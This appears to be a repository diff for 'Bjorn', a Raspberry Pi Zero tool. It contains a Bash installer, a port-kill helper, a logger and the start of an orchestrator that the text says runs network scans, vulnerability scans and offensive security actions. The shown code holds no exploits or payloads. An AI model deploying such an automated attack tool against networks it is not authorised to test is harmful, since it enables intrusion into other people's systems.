log "ERROR" "Check the log file for details: $LOG_FILE"
|
||||||
|
|
||||||
|
echo -e "\n${RED}Would you like to:"
|
||||||
|
echo "1. Retry this step"
|
||||||
|
echo "2. Skip this step (not recommended)"
|
||||||
|
echo "3. Exit installation${NC}"
|
||||||
|
read -r choice
|
||||||
|
|
||||||
|
case $choice in
|
||||||
|
1) return 1 ;; # Retry
|
||||||
|
2) return 0 ;; # Skip
|
||||||
|
3) clean_exit 1 ;; # Exit
|
||||||
|
*) handle_error "$error_message" ;; # Invalid choice
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to check command success
|
||||||
|
check_success() {
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
log "SUCCESS" "$1"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
handle_error "$1"
|
||||||
|
return $?
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# # Check system compatibility
|
||||||
|
# check_system_compatibility() {
|
||||||
|
# log "INFO" "Checking system compatibility..."
|
||||||
|
|
||||||
|
# # Check if running on Raspberry Pi
|
||||||
|
# if ! grep -q "Raspberry Pi" /proc/cpuinfo; then
|
||||||
|
# log "WARNING" "This system might not be a Raspberry Pi. Continue anyway? (y/n)"
|
||||||
|
# read -r response
|
||||||
|
# if [[ ! "$response" =~ ^[Yy]$ ]]; then
|
||||||
|
# clean_exit 1
|
||||||
|
# fi
|
||||||
|
# fi
|
||||||
|
|
||||||
|
# check_success "System compatibility check completed"
|
||||||
|
# }
|
||||||
|
# Check system compatibility
|
||||||
|
check_system_compatibility() {
|
||||||
|
log "INFO" "Checking system compatibility..."
|
||||||
|
local should_ask_confirmation=false
|
||||||
|
|
||||||
|
# Check if running on Raspberry Pi
|
||||||
|
if ! grep -q "Raspberry Pi" /proc/cpuinfo; then
|
||||||
|
log "WARNING" "This system might not be a Raspberry Pi"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check RAM (Raspberry Pi Zero has 512MB RAM)
|
||||||
|
total_ram=$(free -m | awk '/^Mem:/{print $2}')
|
||||||
|
if [ "$total_ram" -lt 429 ]; then
|
||||||
|
log "WARNING" "Low RAM detected. Required: 512MB, Found: ${total_ram}MB"
|
||||||
|
echo -e "${YELLOW}Your system has less RAM than recommended. This might affect performance.${NC}"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
else
|
||||||
|
log "SUCCESS" "RAM check passed: ${total_ram}MB available"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check available disk space
|
||||||
|
available_space=$(df -m /home | awk 'NR==2 {print $4}')
|
||||||
|
if [ "$available_space" -lt 1024 ]; then
|
||||||
|
log "WARNING" "Low disk space. Recommended: 1GB, Found: ${available_space}MB"
|
||||||
|
echo -e "${YELLOW}Your system has less free space than recommended. This might affect installation.${NC}"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
else
|
||||||
|
log "SUCCESS" "Disk space check passed: ${available_space}MB available"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check OS version
|
||||||
|
if [ -f "/etc/os-release" ]; then
|
||||||
|
source /etc/os-release
|
||||||
|
|
||||||
|
# Verify if it's Raspbian
|
||||||
|
if [ "$NAME" != "Raspbian GNU/Linux" ]; then
|
||||||
|
log "WARNING" "Different OS detected. Recommended: Raspbian GNU/Linux, Found: ${NAME}"
|
||||||
|
echo -e "${YELLOW}Your system is not running Raspbian GNU/Linux.${NC}"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Compare versions (expecting Bookworm = 12)
|
||||||
|
expected_version="12"
|
||||||
|
if [ "$VERSION_ID" != "$expected_version" ]; then
|
||||||
|
log "WARNING" "Different OS version detected"
|
||||||
|
echo -e "${YELLOW}This script was tested with Raspbian GNU/Linux 12 (bookworm)${NC}"
|
||||||
|
echo -e "${YELLOW}Current system: ${PRETTY_NAME}${NC}"
|
||||||
|
if [ "$VERSION_ID" -lt "$expected_version" ]; then
|
||||||
|
echo -e "${YELLOW}Your system version ($VERSION_ID) is older than recommended ($expected_version)${NC}"
|
||||||
|
elif [ "$VERSION_ID" -gt "$expected_version" ]; then
|
||||||
|
echo -e "${YELLOW}Your system version ($VERSION_ID) is newer than tested ($expected_version)${NC}"
|
||||||
|
fi
|
||||||
|
should_ask_confirmation=true
|
||||||
|
else
|
||||||
|
log "SUCCESS" "OS version check passed: ${PRETTY_NAME}"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
log "WARNING" "Could not determine OS version (/etc/os-release not found)"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check if system is 32-bit ARM (armhf)
|
||||||
|
architecture=$(dpkg --print-architecture)
|
||||||
|
if [ "$architecture" != "armhf" ]; then
|
||||||
|
log "WARNING" "Different architecture detected. Expected: armhf, Found: ${architecture}"
|
||||||
|
echo -e "${YELLOW}This script was tested with armhf architecture${NC}"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Additional Pi Zero specific checks if possible
|
||||||
|
if ! (grep -q "Pi Zero" /proc/cpuinfo || grep -q "BCM2835" /proc/cpuinfo); then
|
||||||
|
log "WARNING" "Could not confirm if this is a Raspberry Pi Zero"
|
||||||
|
echo -e "${YELLOW}This script was designed for Raspberry Pi Zero${NC}"
|
||||||
|
should_ask_confirmation=true
|
||||||
|
else
|
||||||
|
log "SUCCESS" "Raspberry Pi Zero detected"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$should_ask_confirmation" = true ]; then
|
||||||
|
echo -e "\n${YELLOW}Some system compatibility warnings were detected (see above).${NC}"
|
||||||
|
echo -e "${YELLOW}The installation might not work as expected.${NC}"
|
||||||
|
echo -e "${YELLOW}Do you want to continue anyway? (y/n)${NC}"
|
||||||
|
read -r response
|
||||||
|
if [[ ! "$response" =~ ^[Yy]$ ]]; then
|
||||||
|
log "INFO" "Installation aborted by user after compatibility warnings"
|
||||||
|
clean_exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
log "SUCCESS" "All compatibility checks passed"
|
||||||
|
fi
|
||||||
|
|
||||||
|
log "INFO" "System compatibility check completed"
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Install system dependencies
|
||||||
|
install_dependencies() {
|
||||||
|
log "INFO" "Installing system dependencies..."
|
||||||
|
|
||||||
|
# Update package list
|
||||||
|
apt-get update
|
||||||
|
|
||||||
|
# List of required packages based on README
|
||||||
|
packages=(
|
||||||
|
"python3-pip"
|
||||||
|
"wget"
|
||||||
|
"lsof"
|
||||||
|
"git"
|
||||||
|
"libopenjp2-7"
|
||||||
|
"nmap"
|
||||||
|
"libopenblas-dev"
|
||||||
|
"bluez-tools"
|
||||||
|
"bluez"
|
||||||
|
"dhcpcd5"
|
||||||
|
"bridge-utils"
|
||||||
|
"python3-pil"
|
||||||
|
"libjpeg-dev"
|
||||||
|
"zlib1g-dev"
|
||||||
|
"libpng-dev"
|
||||||
|
"python3-dev"
|
||||||
|
"libffi-dev"
|
||||||
|
"libssl-dev"
|
||||||
|
"libgpiod-dev"
|
||||||
|
"libi2c-dev"
|
||||||
|
"libatlas-base-dev"
|
||||||
|
"build-essential"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Install packages
|
||||||
|
for package in "${packages[@]}"; do
|
||||||
|
log "INFO" "Installing $package..."
|
||||||
|
apt-get install -y "$package"
|
||||||
|
check_success "Installed $package"
|
||||||
|
done
|
||||||
|
|
||||||
|
# Update nmap scripts
|
||||||
|
nmap --script-updatedb
|
||||||
|
check_success "Dependencies installation completed"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Configure system limits
|
||||||
|
configure_system_limits() {
|
||||||
|
log "INFO" "Configuring system limits..."
|
||||||
|
|
||||||
|
# Configure /etc/security/limits.conf
|
||||||
|
cat >> /etc/security/limits.conf << EOF
|
||||||
|
* soft nofile 65535
|
||||||
|
* hard nofile 65535
|
||||||
|
root soft nofile 65535
|
||||||
|
root hard nofile 65535
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Configure systemd limits
|
||||||
|
sed -i 's/#DefaultLimitNOFILE=/DefaultLimitNOFILE=65535/' /etc/systemd/system.conf
|
||||||
|
sed -i 's/#DefaultLimitNOFILE=/DefaultLimitNOFILE=65535/' /etc/systemd/user.conf
|
||||||
|
|
||||||
|
# Create /etc/security/limits.d/90-nofile.conf
|
||||||
|
cat > /etc/security/limits.d/90-nofile.conf << EOF
|
||||||
|
root soft nofile 65535
|
||||||
|
root hard nofile 65535
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Configure sysctl
|
||||||
|
echo "fs.file-max = 2097152" >> /etc/sysctl.conf
|
||||||
|
sysctl -p
|
||||||
|
|
||||||
|
check_success "System limits configuration completed"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Configure SPI and I2C
|
||||||
|
configure_interfaces() {
|
||||||
|
log "INFO" "Configuring SPI and I2C interfaces..."
|
||||||
|
|
||||||
|
# Enable SPI and I2C using raspi-config
|
||||||
|
raspi-config nonint do_spi 0
|
||||||
|
raspi-config nonint do_i2c 0
|
||||||
|
|
||||||
|
check_success "Interface configuration completed"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Setup BJORN
|
||||||
|
setup_bjorn() {
|
||||||
|
log "INFO" "Setting up BJORN..."
|
||||||
|
|
||||||
|
# Create BJORN user if it doesn't exist
|
||||||
|
if ! id -u $BJORN_USER >/dev/null 2>&1; then
|
||||||
|
adduser --disabled-password --gecos "" $BJORN_USER
|
||||||
|
check_success "Created BJORN user"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check for existing BJORN directory
|
||||||
|
cd /home/$BJORN_USER
|
||||||
|
if [ -d "Bjorn" ]; then
|
||||||
|
log "INFO" "Using existing BJORN directory"
|
||||||
|
echo -e "${GREEN}Using existing BJORN directory${NC}"
|
||||||
|
else
|
||||||
|
# No existing directory, proceed with clone
|
||||||
|
log "INFO" "Cloning BJORN repository"
|
||||||
|
git clone https://github.com/infinition/Bjorn.git
|
||||||
|
check_success "Cloned BJORN repository"
|
||||||
|
fi
|
||||||
|
|
||||||
|
cd Bjorn
|
||||||
|
|
||||||
|
# Install requirements with --break-system-packages flag
|
||||||
|
log "INFO" "Installing Python requirements..."
|
||||||
|
|
||||||
|
pip3 install -r requirements.txt --break-system-packages
|
||||||
|
check_success "Installed Python requirements"
|
||||||
|
|
||||||
|
# Set correct permissions
|
||||||
|
chown -R $BJORN_USER:$BJORN_USER /home/$BJORN_USER/Bjorn
|
||||||
|
chmod -R 755 /home/$BJORN_USER/Bjorn
|
||||||
|
|
||||||
|
# Add bjorn user to necessary groups
|
||||||
|
usermod -a -G spi,gpio,i2c $BJORN_USER
|
||||||
|
check_success "Added bjorn user to required groups"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Configure services
|
||||||
|
setup_services() {
|
||||||
|
log "INFO" "Setting up system services..."
|
||||||
|
|
||||||
|
# Create kill_port_8000.sh script
|
||||||
|
cat > $BJORN_PATH/kill_port_8000.sh << 'EOF'
|
||||||
|
#!/bin/bash
|
||||||
|
PORT=8000
|
||||||
|
PIDS=$(lsof -t -i:$PORT)
|
||||||
|
if [ -n "$PIDS" ]; then
|
||||||
|
echo "Killing PIDs using port $PORT: $PIDS"
|
||||||
|
kill -9 $PIDS
|
||||||
|
fi
|
||||||
|
EOF
|
||||||
|
chmod +x $BJORN_PATH/kill_port_8000.sh
|
||||||
|
|
||||||
|
# Create BJORN service
|
||||||
|
cat > /etc/systemd/system/bjorn.service << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=Bjorn Service
|
||||||
|
DefaultDependencies=no
|
||||||
|
Before=basic.target
|
||||||
|
After=local-fs.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStartPre=/home/bjorn/Bjorn/kill_port_8000.sh
|
||||||
|
ExecStart=/usr/bin/python3 /home/bjorn/Bjorn/Bjorn.py
|
||||||
|
WorkingDirectory=/home/bjorn/Bjorn
|
||||||
|
StandardOutput=inherit
|
||||||
|
StandardError=inherit
|
||||||
|
Restart=always
|
||||||
|
User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Configure PAM
|
||||||
|
echo "session required pam_limits.so" >> /etc/pam.d/common-session
|
||||||
|
echo "session required pam_limits.so" >> /etc/pam.d/common-session-noninteractive
|
||||||
|
|
||||||
|
# Enable and start services
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable bjorn.service
|
||||||
|
|
||||||
|
check_success "Services setup completed"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Configure USB Gadget
|
||||||
|
configure_usb_gadget() {
|
||||||
|
log "INFO" "Configuring USB Gadget..."
|
||||||
|
|
||||||
|
# Modify cmdline.txt
|
||||||
|
sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /boot/firmware/cmdline.txt
|
||||||
|
|
||||||
|
# Modify config.txt
|
||||||
|
echo "dtoverlay=dwc2" >> /boot/firmware/config.txt
|
||||||
|
|
||||||
|
# Create USB gadget script
|
||||||
|
cat > /usr/local/bin/usb-gadget.sh << 'EOF'
|
||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
|
||||||
|
modprobe libcomposite
|
||||||
|
cd /sys/kernel/config/usb_gadget/
|
||||||
|
mkdir -p g1
|
||||||
|
cd g1
|
||||||
|
|
||||||
|
echo 0x1d6b > idVendor
|
||||||
|
echo 0x0104 > idProduct
|
||||||
|
echo 0x0100 > bcdDevice
|
||||||
|
echo 0x0200 > bcdUSB
|
||||||
|
|
||||||
|
mkdir -p strings/0x409
|
||||||
|
echo "fedcba9876543210" > strings/0x409/serialnumber
|
||||||
|
echo "Raspberry Pi" > strings/0x409/manufacturer
|
||||||
|
echo "Pi Zero USB" > strings/0x409/product
|
||||||
|
|
||||||
|
mkdir -p configs/c.1/strings/0x409
|
||||||
|
echo "Config 1: ECM network" > configs/c.1/strings/0x409/configuration
|
||||||
|
echo 250 > configs/c.1/MaxPower
|
||||||
|
|
||||||
|
mkdir -p functions/ecm.usb0
|
||||||
|
|
||||||
|
if [ -L configs/c.1/ecm.usb0 ]; then
|
||||||
|
rm configs/c.1/ecm.usb0
|
||||||
|
fi
|
||||||
|
ln -s functions/ecm.usb0 configs/c.1/
|
||||||
|
|
||||||
|
max_retries=10
|
||||||
|
retry_count=0
|
||||||
|
|
||||||
|
while ! ls /sys/class/udc > UDC 2>/dev/null; do
|
||||||
|
if [ $retry_count -ge $max_retries ]; then
|
||||||
|
echo "Error: Device or resource busy after $max_retries attempts."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
retry_count=$((retry_count + 1))
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! ip addr show usb0 | grep -q "172.20.2.1"; then
|
||||||
|
ifconfig usb0 172.20.2.1 netmask 255.255.255.0
|
||||||
|
else
|
||||||
|
echo "Interface usb0 already configured."
|
||||||
|
fi
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod +x /usr/local/bin/usb-gadget.sh
|
||||||
|
|
||||||
|
# Create USB gadget service
|
||||||
|
cat > /etc/systemd/system/usb-gadget.service << EOF
|
||||||
|
[Unit]
|
||||||
|
Description=USB Gadget Service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
ExecStartPre=/sbin/modprobe libcomposite
|
||||||
|
ExecStart=/usr/local/bin/usb-gadget.sh
|
||||||
|
Type=simple
|
||||||
|
RemainAfterExit=yes
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Configure network interface
|
||||||
|
cat >> /etc/network/interfaces << EOF
|
||||||
|
|
||||||
|
allow-hotplug usb0
|
||||||
|
iface usb0 inet static
|
||||||
|
address 172.20.2.1
|
||||||
|
netmask 255.255.255.0
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Enable and start services
|
||||||
|
systemctl daemon-reload
|
||||||
|
systemctl enable systemd-networkd
|
||||||
|
systemctl enable usb-gadget
|
||||||
|
systemctl start systemd-networkd
|
||||||
|
systemctl start usb-gadget
|
||||||
|
|
||||||
|
check_success "USB Gadget configuration completed"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Verify installation
|
||||||
|
verify_installation() {
|
||||||
|
log "INFO" "Verifying installation..."
|
||||||
|
|
||||||
|
# Check if services are running
|
||||||
|
if ! systemctl is-active --quiet bjorn.service; then
|
||||||
|
log "WARNING" "BJORN service is not running"
|
||||||
|
else
|
||||||
|
log "SUCCESS" "BJORN service is running"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check web interface
|
||||||
|
sleep 5
|
||||||
|
if curl -s http://localhost:8000 > /dev/null; then
|
||||||
|
log "SUCCESS" "Web interface is accessible"
|
||||||
|
else
|
||||||
|
log "WARNING" "Web interface is not responding"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Clean exit function
|
||||||
|
clean_exit() {
|
||||||
|
local exit_code=$1
|
||||||
|
if [ $exit_code -eq 0 ]; then
|
||||||
|
log "SUCCESS" "BJORN installation completed successfully!"
|
||||||
|
log "INFO" "Log file available at: $LOG_FILE"
|
||||||
|
else
|
||||||
|
log "ERROR" "BJORN installation failed!"
|
||||||
|
log "ERROR" "Check the log file for details: $LOG_FILE"
|
||||||
|
fi
|
||||||
|
exit $exit_code
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main installation process
|
||||||
|
main() {
|
||||||
|
log "INFO" "Starting BJORN installation..."
|
||||||
|
|
||||||
|
# Check if script is run as root
|
||||||
|
if [ "$(id -u)" -ne 0 ]; then
|
||||||
|
echo "This script must be run as root. Please use 'sudo'."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${BLUE}BJORN Installation Options:${NC}"
|
||||||
|
echo "1. Full installation (recommended)"
|
||||||
|
echo "2. Custom installation"
|
||||||
|
read -p "Choose an option (1/2): " install_option
|
||||||
|
|
||||||
|
case $install_option in
|
||||||
|
1)
|
||||||
|
CURRENT_STEP=1; show_progress "Checking system compatibility"
|
||||||
|
check_system_compatibility
|
||||||
|
|
||||||
|
CURRENT_STEP=2; show_progress "Installing system dependencies"
|
||||||
|
install_dependencies
|
||||||
|
|
||||||
|
CURRENT_STEP=3; show_progress "Configuring system limits"
|
||||||
|
configure_system_limits
|
||||||
|
|
||||||
|
CURRENT_STEP=4; show_progress "Configuring interfaces"
|
||||||
|
configure_interfaces
|
||||||
|
|
||||||
|
CURRENT_STEP=5; show_progress "Setting up BJORN"
|
||||||
|
setup_bjorn
|
||||||
|
|
||||||
|
CURRENT_STEP=6; show_progress "Configuring USB Gadget"
|
||||||
|
configure_usb_gadget
|
||||||
|
|
||||||
|
CURRENT_STEP=7; show_progress "Setting up services"
|
||||||
|
setup_services
|
||||||
|
|
||||||
|
CURRENT_STEP=8; show_progress "Verifying installation"
|
||||||
|
verify_installation
|
||||||
|
;;
|
||||||
|
2)
|
||||||
|
echo "Custom installation - select components to install:"
|
||||||
|
read -p "Install dependencies? (y/n): " deps
|
||||||
|
read -p "Configure system limits? (y/n): " limits
|
||||||
|
read -p "Configure interfaces? (y/n): " interfaces
|
||||||
|
read -p "Setup BJORN? (y/n): " bjorn
|
||||||
|
read -p "Configure USB Gadget? (y/n): " usb_gadget
|
||||||
|
read -p "Setup services? (y/n): " services
|
||||||
|
|
||||||
|
[ "$deps" = "y" ] && install_dependencies
|
||||||
|
[ "$limits" = "y" ] && configure_system_limits
|
||||||
|
[ "$interfaces" = "y" ] && configure_interfaces
|
||||||
|
[ "$bjorn" = "y" ] && setup_bjorn
|
||||||
|
[ "$usb_gadget" = "y" ] && configure_usb_gadget
|
||||||
|
[ "$services" = "y" ] && setup_services
|
||||||
|
verify_installation
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
log "ERROR" "Invalid option selected"
|
||||||
|
clean_exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "SUCCESS" "BJORN installation completed!"
|
||||||
|
log "INFO" "Please reboot your system to apply all changes."
|
||||||
|
echo -e "\n${GREEN}Installation completed successfully!${NC}"
|
||||||
|
echo -e "${YELLOW}Important notes:${NC}"
|
||||||
|
echo "1. If configuring Windows PC for USB gadget connection:"
|
||||||
|
echo " - Set static IP: 172.20.2.2"
|
||||||
|
echo " - Subnet Mask: 255.255.255.0"
|
||||||
|
echo " - Default Gateway: 172.20.2.1"
|
||||||
|
echo " - DNS Servers: 8.8.8.8, 8.8.4.4"
|
||||||
|
echo "2. Web interface will be available at: http://[device-ip]:8000"
|
||||||
|
echo "3. Make sure your e-Paper HAT (2.13-inch) is properly connected"
|
||||||
|
|
||||||
|
read -p "Would you like to reboot now? (y/n): " reboot_now
|
||||||
|
if [ "$reboot_now" = "y" ]; then
|
||||||
|
if reboot; then
|
||||||
|
log "INFO" "System reboot initiated."
|
||||||
|
else
|
||||||
|
log "ERROR" "Failed to initiate reboot."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}Reboot your system to apply all changes & run Bjorn service.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
main
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
11
kill_port_8000.sh
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Script to kill processes using port 8000
|
||||||
|
PORT=8000
|
||||||
|
PIDS=$(lsof -t -i:$PORT)
|
||||||
|
if [ -n "$PIDS" ]; then
|
||||||
|
echo "Killing the following PIDs using port $PORT: $PIDS"
|
||||||
|
kill -9 $PIDS
|
||||||
|
else
|
||||||
|
echo "No processes found using port $PORT"
|
||||||
|
fi
|
||||||
|
|
||||||
136
logger.py
Normal file
@@ -0,0 +1,136 @@
|
|||||||
|
#logger.py
|
||||||
|
# Description:
|
||||||
|
# This file, logger.py, is responsible for setting up a robust logging system for the Bjorn project. It defines custom logging levels and formats,
|
||||||
|
# integrates with the Rich library for enhanced console output, and ensures logs are written to rotating files for persistence.
|
||||||
|
#
|
||||||
|
# Key functionalities include:
|
||||||
|
# - Defining a custom log level "SUCCESS" to log successful operations distinctively.
|
||||||
|
# - Creating a vertical filter to exclude specific log messages based on their content.
|
||||||
|
# - Setting up a logger class (`Logger`) that initializes logging handlers for both console and file output.
|
||||||
|
# - Utilizing Rich for console logging with custom themes for different log levels, providing a more readable and visually appealing log output.
|
||||||
|
# - Ensuring log files are written to a specified directory, with file rotation to manage log file sizes and backups.
|
||||||
|
# - Providing methods to log messages at various levels (debug, info, warning, error, critical, success).
|
||||||
|
# - Allowing dynamic adjustment of log levels and the ability to disable logging entirely.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from logging.handlers import RotatingFileHandler
|
||||||
|
import os
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.logging import RichHandler
|
||||||
|
from rich.theme import Theme
|
||||||
|
|
||||||
|
# Define custom log level "SUCCESS"
|
||||||
|
SUCCESS_LEVEL_NUM = 25
|
||||||
|
logging.addLevelName(SUCCESS_LEVEL_NUM, "SUCCESS")
|
||||||
|
|
||||||
|
def success(self, message, *args, **kwargs):
|
||||||
|
if self.isEnabledFor(SUCCESS_LEVEL_NUM):
|
||||||
|
self._log(SUCCESS_LEVEL_NUM, message, args, **kwargs)
|
||||||
|
|
||||||
|
logging.Logger.success = success
|
||||||
|
|
||||||
|
class VerticalFilter(logging.Filter):
|
||||||
|
def filter(self, record):
|
||||||
|
return 'Vertical' not in record.getMessage()
|
||||||
|
|
||||||
|
class Logger:
|
||||||
|
LOGS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', 'logs')
|
||||||
|
|
||||||
|
def __init__(self, name, level=logging.DEBUG, enable_file_logging=True):
|
||||||
|
self.logger = logging.getLogger(name)
|
||||||
|
self.logger.setLevel(level)
|
||||||
|
self.enable_file_logging = enable_file_logging
|
||||||
|
|
||||||
|
# Define custom log level styles
|
||||||
|
custom_theme = Theme({
|
||||||
|
"debug": "yellow",
|
||||||
|
"info": "blue",
|
||||||
|
"warning": "yellow",
|
||||||
|
"error": "bold red",
|
||||||
|
"critical": "bold magenta",
|
||||||
|
"success": "bold green"
|
||||||
|
})
|
||||||
|
|
||||||
|
console = Console(theme=custom_theme)
|
||||||
|
|
||||||
|
# Create console handler with rich and set level
|
||||||
|
console_handler = RichHandler(console=console, show_time=False, show_level=False, show_path=False, log_time_format="%Y-%m-%d %H:%M:%S")
|
||||||
|
console_handler.setLevel(level)
|
||||||
|
console_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
||||||
|
console_handler.setFormatter(console_formatter)
|
||||||
|
|
||||||
|
# Add filter to console handler
|
||||||
|
vertical_filter = VerticalFilter()
|
||||||
|
console_handler.addFilter(vertical_filter)
|
||||||
|
|
||||||
|
# Add console handler to the logger
|
||||||
|
self.logger.addHandler(console_handler)
|
||||||
|
|
||||||
|
if self.enable_file_logging:
|
||||||
|
# Ensure the log folder exists
|
||||||
|
os.makedirs(self.LOGS_DIR, exist_ok=True)
|
||||||
|
log_file_path = os.path.join(self.LOGS_DIR, f"{name}.log")
|
||||||
|
|
||||||
|
# Create file handler and set level
|
||||||
|
file_handler = RotatingFileHandler(log_file_path, maxBytes=5*1024*1024, backupCount=2)
|
||||||
|
file_handler.setLevel(level)
|
||||||
|
file_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
|
||||||
|
file_handler.setFormatter(file_formatter)
|
||||||
|
|
||||||
|
# Add filter to file handler
|
||||||
|
file_handler.addFilter(vertical_filter)
|
||||||
|
|
||||||
|
# Add file handler to the logger
|
||||||
|
self.logger.addHandler(file_handler)
|
||||||
|
|
||||||
|
def set_level(self, level):
|
||||||
|
self.logger.setLevel(level)
|
||||||
|
for handler in self.logger.handlers:
|
||||||
|
handler.setLevel(level)
|
||||||
|
|
||||||
|
def debug(self, message):
|
||||||
|
self.logger.debug(message)
|
||||||
|
|
||||||
|
def info(self, message):
|
||||||
|
self.logger.info(message)
|
||||||
|
|
||||||
|
def warning(self, message):
|
||||||
|
self.logger.warning(message)
|
||||||
|
|
||||||
|
def error(self, message):
|
||||||
|
self.logger.error(message)
|
||||||
|
|
||||||
|
def critical(self, message):
|
||||||
|
self.logger.critical(message)
|
||||||
|
|
||||||
|
def success(self, message):
|
||||||
|
self.logger.success('\n' + message) # Add newline for better readability
|
||||||
|
|
||||||
|
def disable_logging(self):
|
||||||
|
logging.disable(logging.CRITICAL)
|
||||||
|
|
||||||
|
|
||||||
|
# Example usage
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Change enable_file_logging to False to disable file logging
|
||||||
|
log = Logger(name="MyLogger", level=logging.DEBUG, enable_file_logging=False)
|
||||||
|
|
||||||
|
log.debug("This is a debug message")
|
||||||
|
log.info("This is an info message")
|
||||||
|
log.warning("This is a warning message")
|
||||||
|
log.error("This is an error message")
|
||||||
|
log.critical("This is a critical message")
|
||||||
|
log.success("This is a success message")
|
||||||
|
|
||||||
|
# Change log level
|
||||||
|
log.set_level(logging.WARNING)
|
||||||
|
|
||||||
|
log.debug("This debug message should not appear")
|
||||||
|
log.info("This info message should not appear")
|
||||||
|
log.warning("This warning message should appear")
|
||||||
|
|
||||||
|
# Disable logging
|
||||||
|
log.disable_logging()
|
||||||
|
log.error("This error message should not appear")
|
||||||
383
orchestrator.py
Normal file
@@ -0,0 +1,383 @@
|
|||||||
|
# orchestrator.py
|
||||||
|
# Description:
|
||||||
|
# This file, orchestrator.py, is the heuristic Bjorn brain, and it is responsible for coordinating and executing various network scanning and offensive security actions
|
||||||
|
# It manages the loading and execution of actions, handles retries for failed and successful actions,
|
||||||
|
# and updates the status of the orchestrator.
|
||||||
|
#
|
||||||
|
# Key functionalities include:
|
||||||
|
# - Initializing and loading actions from a configuration file, including network and vulnerability scanners.
|
||||||
|
# - Managing the execution of actions on network targets, checking for open ports and handling retries based on success or failure.
|
||||||
|
# - Coordinating the execution of parent and child actions, ensuring actions are executed in a logical order.
|
||||||
|
# - Running the orchestrator cycle to continuously check for and execute actions on available network targets.
|
||||||
|
# - Handling and updating the status of the orchestrator, including scanning for new targets and performing vulnerability scans.
|
||||||
|
# - Implementing threading to manage concurrent execution of actions with a semaphore to limit active threads.
|
||||||
|
# - Logging events and errors to ensure maintainability and ease of debugging.
|
||||||
|
# - Handling graceful degradation by managing retries and idle states when no new targets are found.
|
||||||
|
|
||||||
|
import json
|
||||||
|
import importlib
|
||||||
|
import time
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
from actions.nmap_vuln_scanner import NmapVulnScanner
|
||||||
|
from init_shared import shared_data
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="orchestrator.py", level=logging.DEBUG)
|
||||||
|
|
||||||
|
class Orchestrator:
|
||||||
|
def __init__(self):
|
||||||
|
"""Initialise the orchestrator"""
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.actions = [] # List of actions to be executed
|
||||||
|
self.standalone_actions = [] # List of standalone actions to be executed
|
||||||
|
self.failed_scans_count = 0 # Count the number of failed scans
|
||||||
|
self.network_scanner = None
|
||||||
|
